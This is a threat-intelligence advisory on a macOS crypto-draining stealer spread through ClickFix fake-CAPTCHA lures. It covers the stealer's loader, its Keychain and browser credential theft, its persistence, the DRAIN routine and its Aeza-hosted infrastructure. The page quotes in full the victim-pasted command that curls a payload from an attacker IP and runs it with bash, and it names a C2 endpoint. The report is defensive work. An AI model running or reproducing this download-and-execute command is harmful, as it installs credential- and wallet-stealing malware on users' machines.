# Go-Based macOS Stealer Uses ClickFix Lures to Drain Cryptocurrency Wallets (Aeza Group Infrastructure)

> A Go-based, dual-architecture (ARM64/x86_64) Mach-O stealer targeting macOS is distributed via ClickFix fake-CAPTCHA social engineering that tricks victims into pasting a Bash loader into Terminal. The malware harvests browser password stores and Apple Keychain data and includes a configurable DRAIN routine that siphons partial or complete balances from Bitcoin, Litecoin, Dogecoin, Monero, Ethereum, and XRP wallets to attacker-controlled addresses. Delivery, staging, and C2 infrastructure trace to Aeza Group, a Russian bulletproof-hosting operator sanctioned by the US Treasury (July 2025) and jointly by the US, UK, and Australia (November 2025).

- **Published:** 2026-08-18T00:00:00Z
- **Last reviewed:** 2026-08-18T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2066
- **ID:** TL-2026-2066
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 15 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Huntress identified this campaign during a June 2026 retrospective threat hunt on a macOS endpoint that had been compromised roughly three months earlier, and published its analysis on August 6, 2026. The infection chain begins with ClickFix social engineering: a fake CAPTCHA/verification page instructs the victim to paste a command into Terminal. The observed command sets an environment variable pointing at the lure domain and pulls a first-stage payload from an Aeza-Group-hosted IP over HTTP: `export SRC_URL='https://profitnow.io/' && (cd /tmp && curl -kfsSL "http://193.29.224.151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK)`.

The downloaded Bash script (stage 1) acts as a profiler/loader: it runs `ioreg` and `system_profiler` for hardware/system enumeration, captures the current username via `whoami`, and uses `uname -m` to select an architecture-matched second-stage payload (a separate ARM64 build for Apple Silicon and an x86_64 build for Intel Macs). It stages the payload inside a directory crafted to resemble Apple's `trustd` cryptographic-validation process (`$HOME/Library/Caches/com.apple.trustd/`) and strips the macOS quarantine attribute so Gatekeeper does not warn the user before execution.

The stage-2 payload is a Go-compiled Mach-O binary obfuscated with the Go Garbler string-obfuscation tool to resist static analysis. At runtime it harvests saved passwords from browser credential stores, extracts secrets from the Apple Keychain, and enumerates the filesystem for cryptocurrency wallet files and cached browser cookies. For privilege escalation it spawns an `osascript` dialog that spoofs a legitimate macOS administrator-password prompt, tricking the user into typing their real credentials into a fake system dialog. Observed persistence copies the binary to paths masquerading as Apple system services — `$HOME/Library/Caches/com.apple.softwareupdate/SoftwareUpdate` (an alternate path `$HOME/Library/Caches/homeenergyd/com.apple.homeenergyd` was also observed) — ad-hoc code-signs it, and registers it as a user LaunchAgent (`$HOME/Library/LaunchAgents/com.apple.softwareupdated.plist`) via the Background Task Management subsystem.

The malware's defining feature is a dedicated `DRAIN` routine with separate subroutines for UTXO-based chains (Bitcoin, Litecoin, Dogecoin), Monero, Ethereum, and XRP/Ripple. It queries public blockchain data to determine a wallet's balance, then transfers funds to a hardcoded or C2-supplied attacker address. A `DRAIN_PCT` configuration value lets the operator siphon only a set percentage of a victim's balance per transaction (Huntress notes this partial-drain capability as novel among the crypto-stealers it has analyzed) rather than emptying the wallet outright, likely to delay victim detection.

All observed infrastructure — the payload-hosting IPs, the HTTP command-and-control endpoint on a non-standard port (138.124.118.69:8133), and the lure domain — resolves to Aeza Group (AS210644), a Russia-based bulletproof-hosting provider. OFAC designated Aeza Group and its leadership on July 1, 2025 for enabling ransomware, information-stealer (including Meduza and Lumma), and darknet-marketplace (BlackSprut) operations; the US, UK, and Australia jointly expanded sanctions on November 19, 2025 to cover Aeza's continued operations and its use of the UK-registered shell Hypercore Ltd. to evade the original designation. No specific threat actor or intrusion set has been publicly attributed to this particular ClickFix/crypto-drain campaign; attribution is at the hosting-infrastructure level only.

## MITRE ATT&CK

- T1566.002 Spearphishing Link
- T1204.004 Malicious Copy and Paste
- T1059.004 Unix Shell
- T1543.001 Launch Agent
- T1548.004 Elevated Execution with Prompt
- T1553.001 Gatekeeper Bypass
- T1070.003 Clear Command History
- T1036.005 Match Legitimate Resource Name or Location
- T1027 Obfuscated Files or Information
- T1555.001 Keychain
- T1555.003 Credentials from Web Browsers
- T1082 System Information Discovery
- T1005 Data from Local System
- T1657 Financial Theft

## Sources

- [Mac Malware Drains Crypto Wallets Via Fake CAPTCHA Scam](https://www.huntress.com/blog/mac-crypto-draining-malware)
- [ClickFix attack pushes macOS infostealer for crypto theft attacks](https://www.bleepingcomputer.com/news/security/clickfix-attack-pushes-macos-infostealer-for-crypto-theft-attacks/)
- [ClickFix Attacks Deliver macOS Stealer That Can Drain Crypto Wallets](https://thehackernews.com/2026/08/clickfix-attacks-deliver-macos-stealer.html)
- [Fake CAPTCHA, Real Theft: macOS ClickFix Drains Crypto Wallets](https://www.hivepro.com/threat-advisory/fake-captcha-real-theft-macos-clickfix-drains-crypto-wallets)
- [macOS Stealer Uses ClickFix to Drain Crypto Wallets](https://socprime.com/active-threats/macos-infostealer-targets-cryptocurrency-wallets/)
- [Go-Based macOS Malware Steals Crypto and Secrets](https://www.infosecurity-magazine.com/news/gobased-macos-malware-crypto-and/)
- [Mac Malware Found Draining Crypto Wallets After Fake CAPTCHA Trick](https://www.itsecurityguru.org/2026/08/06/mac-malware-found-draining-crypto-wallets-after-fake-captcha-trick/)
- [Single terminal command steals Mac crypto wallets](https://appleinsider.com/articles/26/08/06/one-pasted-terminal-command-opens-the-door-to-mac-crypto-wallet-theft)
- [ClickFix Attack Delivers macOS Infostealer Built for Crypto Theft](https://applemagazine.com/clickfix-attack-macos-infostealer-crypto-theft/)
- [ClickFix macOS Malware: Crypto Drainer Targets Keychain Data](https://www.hexnode.com/blogs/clickfix-macos-malware-steals-keychain-data-drains-crypto/)
- [Treasury Sanctions Global Bulletproof Hosting Service Enabling Cybercriminals and Technology Theft](https://home.treasury.gov/news/press-releases/sb0185)
- [United States, Australia, and United Kingdom Jointly Sanction Ransomware Infrastructure Providers](https://www.state.gov/releases/office-of-the-spokesperson/2025/11/united-states-australia-and-united-kingdom-jointly-sanction-ransomware-infrastructure-providers)
- [United States, United Kingdom, and Australia Jointly Target Russian Cybercrime Infrastructure: Media Land and Aeza Group](https://slowmist.medium.com/united-states-united-kingdom-and-australia-jointly-target-russian-cybercrime-infrastructure-33f4cf9000c1)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2066